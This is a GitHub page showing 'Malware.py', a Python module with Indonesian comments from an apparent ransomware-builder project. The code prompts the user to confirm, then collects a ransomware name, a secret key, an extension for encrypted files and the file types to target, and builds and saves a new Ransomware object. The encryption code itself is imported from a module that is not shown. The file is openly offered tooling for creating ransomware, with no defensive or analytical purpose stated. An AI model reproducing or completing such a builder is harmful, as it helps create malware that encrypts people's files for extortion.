-
Notifications
You must be signed in to change notification settings - Fork 4
/
Malware.py
50 lines (36 loc) · 1.37 KB
/
Malware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import argparse
import sys
from etc.strings.id_ID import *
from termcolor import cprint
class Malware():
def __init__(self):
pass
@classmethod
def createNewRW(cls):
'''
Mulai membuat Ransomware baru.
Args: -
'''
while True:
# konfirmasi untuk lanjut / batal
continue_ = input(CREATE_NEW_RN).strip().lower()
if continue_ == 'y' or continue_ == 'c':
if continue_ == 'y':
cls.buildNewRW()
break
else:
cprint(CANCELLED, 'red')
break
@classmethod
def buildNewRW(cls):
'''
Bangun sebuah Ransomware baru dengan mengambil beberapa data dari inputan user.
Args: -
'''
from Ransomware import Ransomware # import class Ransomware untuk membangun Ransomware baru.
name = Ransomware.getRWName() # ambil nama Ransomware.
secret_key = Ransomware.getRWSecretKey() # ambil secret key.
extension = Ransomware.getRWExtension() # ambil ekstensi file terenkripsi.
target_ext = Ransomware.getRWTargetExt() # ambil target ekstensi file yang ingin dienkripsi
new_ransomware = Ransomware(name=name, secret_key=secret_key, extension=extension, target_ext=target_ext)
new_ransomware.save()